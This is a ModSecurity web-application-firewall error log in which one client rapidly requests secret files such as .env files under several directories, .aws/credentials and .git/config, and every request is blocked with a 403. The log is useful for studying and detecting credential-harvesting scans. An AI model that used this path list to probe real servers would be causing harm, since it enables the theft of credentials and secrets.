[Wed May 07 20:52:33.364463 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpwAAAA4&quot;]
[Wed May 07 20:52:33.364691 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpwAAAA4&quot;]
[Wed May 07 20:52:33.364868 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpwAAAA4&quot;]
[Wed May 07 20:52:33.387237 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqAAAAA4&quot;]
[Wed May 07 20:52:33.387493 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqAAAAA4&quot;]
[Wed May 07 20:52:33.387681 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqAAAAA4&quot;]
[Wed May 07 20:52:33.432704 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqgAAAA4&quot;]
[Wed May 07 20:52:33.432933 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqgAAAA4&quot;]
[Wed May 07 20:52:33.433092 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqgAAAA4&quot;]
[Wed May 07 20:52:33.455247 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqwAAAA4&quot;]
[Wed May 07 20:52:33.455477 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqwAAAA4&quot;]
[Wed May 07 20:52:33.455654 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczqwAAAA4&quot;]
[Wed May 07 20:52:33.477540 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrAAAAA4&quot;]
[Wed May 07 20:52:33.477773 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrAAAAA4&quot;]
[Wed May 07 20:52:33.477961 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrAAAAA4&quot;]
[Wed May 07 20:52:33.499998 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrQAAAA4&quot;]
[Wed May 07 20:52:33.500234 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrQAAAA4&quot;]
[Wed May 07 20:52:33.500421 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrQAAAA4&quot;]
[Wed May 07 20:52:33.522442 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrgAAAA4&quot;]
[Wed May 07 20:52:33.522673 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrgAAAA4&quot;]
[Wed May 07 20:52:33.522843 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrgAAAA4&quot;]
[Wed May 07 20:52:33.544849 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrwAAAA4&quot;]
[Wed May 07 20:52:33.545080 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrwAAAA4&quot;]
[Wed May 07 20:52:33.545290 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczrwAAAA4&quot;]
[Wed May 07 20:52:33.567335 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsAAAAA4&quot;]
[Wed May 07 20:52:33.567641 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsAAAAA4&quot;]
[Wed May 07 20:52:33.567816 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsAAAAA4&quot;]
[Wed May 07 20:52:33.589698 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsQAAAA4&quot;]
[Wed May 07 20:52:33.589934 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsQAAAA4&quot;]
[Wed May 07 20:52:33.590119 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsQAAAA4&quot;]
[Wed May 07 20:52:33.612129 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/user/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsgAAAA4&quot;]
[Wed May 07 20:52:33.612363 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsgAAAA4&quot;]
[Wed May 07 20:52:33.612555 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczsgAAAA4&quot;]
